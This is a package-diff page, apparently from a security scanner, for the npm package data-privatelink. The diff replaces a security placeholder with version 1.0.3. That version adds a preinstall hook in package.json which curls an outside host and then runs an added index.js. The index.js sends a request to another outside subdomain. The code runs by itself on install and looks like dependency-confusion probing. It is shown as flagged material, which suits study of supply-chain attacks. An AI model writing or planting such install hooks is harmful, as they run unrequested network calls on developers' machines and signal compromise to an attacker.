data-privatelink 0.0.1-security → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of data-privatelink might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +19 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const https = require('https');
2
+
3
+ https.get('https://av9zq49drrdndar75539elcnaeg544st.vp40.co', (resp) => {
4
+ let data = '';
5
+
6
+ // A chunk of data has been received.
7
+ resp.on('data', (chunk) => {
8
+ data += chunk;
9
+ });
10
+
11
+ // The whole response has been received. Print out the result.
12
+ resp.on('end', () => {
13
+ console.log(data);
14
+ });
15
+
16
+ }).on("error", (err) => {
17
+ console.log("Error: " + err.message);
18
+ });
19
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "data-privatelink",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"curl https://sokhjm2vk9656skpynwr73553w9nxjl8.vp40.co/registration && node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=data-privatelink for more information.